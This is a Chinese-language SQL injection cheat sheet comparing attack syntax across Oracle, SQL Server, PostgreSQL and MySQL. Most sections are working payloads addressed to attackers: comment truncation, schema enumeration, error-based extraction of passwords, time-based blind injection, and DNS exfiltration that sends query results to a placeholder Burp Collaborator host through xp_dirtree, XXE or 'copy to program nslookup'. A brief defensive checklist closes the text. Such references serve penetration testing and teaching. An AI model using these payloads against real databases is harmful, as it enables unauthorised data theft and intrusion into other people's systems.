1. 字符串连接
字符串连接是SQL注入中常用的操作,用于将多个字符串拼接为一个,以构造复杂的注入语句。不同数据库的字符串连接语法存在显著差异,了解这些差异有助于精准构造payload。
-
Oracle:使用
||
操作符进行字符串连接,例如:'foo'||'bar'
输出结果为
foobar
。Oracle的||
操作符简单高效,广泛用于动态SQL构造。 -
Microsoft SQL Server:使用
+
操作符进行字符串连接,例如:'foo'+'bar'
输出结果同样为
foobar
。需要注意的是,Microsoft SQL Server在字符串连接时要求数据类型一致,否则可能触发类型转换错误。 -
PostgreSQL:与Oracle类似,PostgreSQL也使用
||
操作符:'foo'||'bar'
PostgreSQL的字符串处理方式与Oracle高度一致,但其内部字符编码可能影响某些特殊字符的处理。
-
MySQL:MySQL支持两种字符串连接方式。第一种是通过空格分隔字符串:
'foo' 'bar'
注意,两个字符串之间必须有一个空格。第二种方式是使用
CONCAT
函数:CONCAT('foo','bar')
CONCAT
函数更灵活,支持多参数拼接,且对特殊字符的处理更稳定。
差异分析:MySQL的字符串连接方式最为多样,但空格分隔的语法较为独特,容易被忽视。Oracle和PostgreSQL的||
操作符在语法上统一,但与Microsoft SQL Server的+
操作符不同,攻击者需根据目标数据库调整payload。此外,MySQL的CONCAT
函数在跨数据库兼容性测试中更为常用。
2. 子字符串提取
子字符串提取用于从字符串中截取特定部分,常用于提取敏感数据或构造复杂的注入语句。所有主流数据库都支持SUBSTRING
或SUBSTR
函数,但参数和行为略有不同。
-
Oracle:
SUBSTR('foobar', 4, 2)
从第4个字符(1-based索引)开始,提取长度为2的子字符串,结果为
ba
。 -
Microsoft SQL Server:
SUBSTRING('foobar', 4, 2)
语法与Oracle相同,同样返回
ba
。Microsoft SQL Server的实现较为标准,但性能可能因数据库配置而异。 -
PostgreSQL:
SUBSTRING('foobar', 4, 2)
与Oracle和Microsoft SQL Server一致,返回
ba
。PostgreSQL的子字符串操作支持正则表达式扩展,增加了灵活性。 -
MySQL:
SUBSTRING('foobar', 4, 2)
语法与其他数据库一致,返回
ba
。MySQL还支持SUBSTR
作为别名,但功能相同。
差异分析:子字符串提取的语法在各数据库中高度一致,均为SUBSTRING
或SUBSTR
,且都使用1-based索引。唯一的细微差异在于PostgreSQL支持正则表达式扩展,适用于更复杂的字符串操作。攻击者在构造payload时,通常可以直接复用相同的子字符串提取语句,但需注意目标数据库是否支持额外的参数或扩展功能。
3. 注释
注释在SQL注入中用于截断原始查询,移除后续的合法SQL语句,从而让注入代码生效。不同数据库的注释语法差异较大,需特别注意。
-
Oracle:
--comment
使用双破折号表示单行注释,后续内容被忽略。
-
Microsoft SQL Server:
支持两种注释方式:--comment /*comment*/
分别表示单行注释和多行注释。多行注释在复杂注入场景中更灵活。
-
PostgreSQL:
与Microsoft SQL Server类似,支持:--comment /*comment*/
语法一致,行为相同。
-
MySQL:
支持三种注释方式:#comment -- comment /*comment*/
注意,
--
后必须跟一个空格,否则无效。#
注释是MySQL特有的,广泛用于Linux环境。
差异分析:MySQL的注释方式最为丰富,尤其是#
注释的独特性使其在Linux服务器上常见。Oracle仅支持单行注释,限制了复杂场景下的灵活性。Microsoft SQL Server和PostgreSQL的注释语法一致,适合跨数据库攻击的通用payload设计。攻击者需根据目标数据库选择合适的注释方式,以确保注入语句正确截断。
4. 查询数据库版本
了解目标数据库的类型和版本是SQL注入攻击的第一步,因为版本信息可以帮助攻击者选择合适的漏洞利用方式。不同数据库的版本查询语句差异显著。
-
Oracle:
SELECT banner FROM v$version SELECT version FROM v$instance
v$version
提供详细的版本信息,包括补丁级别;v$instance
提供实例级别的版本信息。 -
Microsoft SQL Server:
SELECT @@version
返回完整的版本字符串,包含操作系统和数据库补丁信息。
-
PostgreSQL:
SELECT version()
返回详细的版本信息,包括编译选项和环境细节。
-
MySQL:
SELECT @@version
返回数据库版本号,格式简洁,但信息量较少。
差异分析:Oracle的版本查询需要访问特定的系统视图(如v$version
),而Microsoft SQL Server和MySQL使用全局变量@@version
,语法更简洁。PostgreSQL的version()
函数返回的信息最为详细,适合需要深入分析的场景。攻击者在构造payload时,应优先选择能返回最多信息的语句,同时注意权限限制。
5. 查询数据库内容
查询数据库中的表和列信息是SQL注入的核心目标之一,通常用于发现敏感数据的存储位置。不同数据库的元数据表和查询方式存在明显差异。
-
Oracle:
SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
all_tables
列出所有可访问的表,all_tab_columns
提供指定表的列信息。 -
Microsoft SQL Server:
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
使用
information_schema
视图,符合SQL标准,易于跨数据库移植。 -
PostgreSQL:
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
与Microsoft SQL Server一致,使用
information_schema
视图。 -
MySQL:
SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
语法与Microsoft SQL Server和PostgreSQL相同,但MySQL的
information_schema
可能包含额外信息。
差异分析:Oracle的元数据查询依赖专有的all_tables
和all_tab_columns
视图,与其他数据库的information_schema
标准不同。Microsoft SQL Server、PostgreSQL和MySQL遵循SQL标准,使用统一的information_schema
视图,攻击者可直接复用相同的查询语句。需要注意的是,Oracle的查询可能受用户权限限制较多。
6. 条件错误
条件错误用于测试布尔条件,通过触发数据库错误来确认条件是否成立。这在盲注场景中尤为有用。
-
Oracle:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
使用
dual
表和除零错误触发条件错误。 -
Microsoft SQL Server:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
直接使用除零错误,语法简洁。
-
PostgreSQL:
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
通过嵌套子查询触发除零错误,稍显复杂。
-
MySQL:
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
使用
IF
函数结合子查询,触发错误或返回结果。
差异分析:Oracle的条件错误依赖dual
表,语法较为独特。Microsoft SQL Server的实现最简洁,直接触发除零错误。PostgreSQL的嵌套子查询增加了复杂性,而MySQL的IF
函数提供了更灵活的条件控制。攻击者在选择条件错误payload时,需根据目标数据库的语法特点进行调整。
7. 通过错误消息提取数据
通过构造特定的查询,攻击者可以让数据库返回包含敏感数据的错误消息,从而提取数据。
-
Microsoft SQL Server:
SELECT 'foo' WHERE 1 = (SELECT 'secret')
输出错误:
Conversion failed when converting the varchar value 'secret' to data type int.
,泄露secret
值。 -
PostgreSQL:
SELECT CAST((SELECT password FROM users LIMIT 1) AS int)
输出错误:
invalid input syntax for integer: "secret"
,泄露密码。 -
MySQL:
SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
输出错误:
XPATH syntax error: '\secret'
,泄露secret
值。 -
Oracle:不支持直接通过错误消息提取数据,需结合其他技术(如时间延迟或DNS查找)。
差异分析:Microsoft SQL Server、PostgreSQL和MySQL通过类型转换或XPATH错误实现数据泄露,Oracle则因错误处理机制限制,无法直接利用错误消息。攻击者需针对Oracle使用替代方法,如条件时间延迟。
8. 批量查询(堆叠查询)
批量查询允许在单一注入点执行多个查询,但结果通常不返回给应用程序,主要用于盲注场景。
-
Oracle:不支持批量查询,限制了其在复杂攻击中的应用。
-
Microsoft SQL Server:
QUERY-1-HERE; QUERY-2-HERE
使用分号分隔多个查询,执行顺序严格。
-
PostgreSQL:
QUERY-1-HERE; QUERY-2-HERE
语法与Microsoft SQL Server一致,支持多查询执行。
-
MySQL:
QUERY-1-HERE; QUERY-2-HERE
通常不支持批量查询,但在某些PHP或Python API(如
mysqli_multi_query
)中可能生效。
差异分析:Oracle的批量查询限制使其在盲注场景中较为受限。Microsoft SQL Server和PostgreSQL支持标准的分号分隔语法,MySQL的批量查询依赖应用程序的API支持,实际应用场景较少。
9. 时间延迟
时间延迟用于盲注,通过观察响应时间判断条件是否成立。以下是各数据库的10秒延迟示例:
-
Oracle:
dbms_pipe.receive_message(('a'),10)
使用
dbms_pipe
包实现延迟。 -
Microsoft SQL Server:
WAITFOR DELAY '0:0:10'
使用内置
WAITFOR
函数,格式为小时:分钟:秒
。 -
PostgreSQL:
SELECT pg_sleep(10)
使用
pg_sleep
函数,参数为秒数。 -
MySQL:
SELECT SLEEP(10)
使用
SLEEP
函数,参数为秒数。
差异分析:Microsoft SQL Server的WAITFOR DELAY
使用时间格式,语法独特;PostgreSQL和MySQL的pg_sleep
和SLEEP
函数更直观,参数均为秒数。Oracle的dbms_pipe
实现较为复杂,且可能受权限限制。
10. 条件时间延迟
条件时间延迟结合布尔条件和时间延迟,用于更精确的盲注测试。
-
Oracle:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
结合
CASE
和dbms_pipe
实现条件延迟。 -
Microsoft SQL Server:
IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10'
使用
IF
语句控制延迟,语法简洁。 -
PostgreSQL:
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END
使用
CASE
控制延迟,逻辑清晰。 -
MySQL:
SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a')
使用
IF
函数结合SLEEP
,灵活且易于构造。
差异分析:Microsoft SQL Server和MySQL的条件延迟语法最为简洁,Oracle的实现依赖dual
表和dbms_pipe
,较为繁琐。PostgreSQL的CASE
语句提供了较高的可读性。攻击者在构造条件延迟payload时,需权衡语法复杂度和目标数据库的权限要求。
11. DNS查找
DNS查找通过触发数据库对外部域名的解析,验证注入是否成功,常用于盲注场景。需要配合Burp Collaborator生成唯一子域名。
-
Oracle:
- 旧版本(存在XXE漏洞):
该方法已修补,但许多未更新系统仍存在风险。SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
- 新版本(需高权限):
需要管理员权限,限制了应用范围。SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
- 旧版本(存在XXE漏洞):
-
Microsoft SQL Server:
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
使用
xp_dirtree
触发DNS解析,适用于Windows环境。 -
PostgreSQL:
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
使用
copy
命令调用外部程序,需高权限。 -
MySQL:
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
仅限Windows环境,依赖文件操作权限。
差异分析:Oracle的DNS查找方式复杂且受权限限制,Microsoft SQL Server的xp_dirtree
简单高效,PostgreSQL的copy
命令灵活但需高权限,MySQL的文件操作方式仅限Windows,限制了跨平台应用。
12. 带数据泄露的DNS查找
通过DNS查找将查询结果附加到子域名中,实现数据外带。以下是各数据库的实现方式:
-
Oracle:
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
将查询结果拼接至子域名,触发DNS解析。
-
Microsoft SQL Server:
declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"')
使用变量存储查询结果,动态构造DNS请求。
-
PostgreSQL:
create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f();
通过自定义函数实现动态DNS请求,复杂但功能强大。
-
MySQL:
SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
仅限Windows,数据通过文件路径外带。
差异分析:Oracle和PostgreSQL的实现较为复杂,需构造XML或自定义函数;Microsoft SQL Server的实现较为直观,MySQL则受限于Windows环境和文件操作权限。攻击者需根据目标环境选择合适的实现方式。
13. 防御SQL注入的建议
虽然本文聚焦于SQL注入的攻击技巧,但防御措施同样重要。以下是针对SQL注入的通用防御建议:
- 参数化查询:使用参数化查询或预编译语句,避免动态拼接SQL。
- 输入验证:对用户输入进行严格验证,过滤特殊字符(如单引号、双破折号等)。
- 最小权限原则:限制数据库用户的权限,防止高危操作(如文件操作或DNS解析)。
- 错误信息屏蔽:避免将详细的错误信息返回给客户端,防止数据泄露。
- 定期更新:保持数据库和应用程序的最新版本,修补已知漏洞。
数据库特有的防御措施:
- Oracle:限制对
v$version
和dbms_pipe
的访问,禁用XXE相关功能。 - Microsoft SQL Server:禁用
xp_dirtree
等扩展存储过程,限制information_schema
访问。 - PostgreSQL:限制
copy
命令和pg_sleep
函数的使用,强化函数权限管理。 - MySQL:禁用
LOAD_FILE
和INTO OUTFILE
功能,限制information_schema
查询。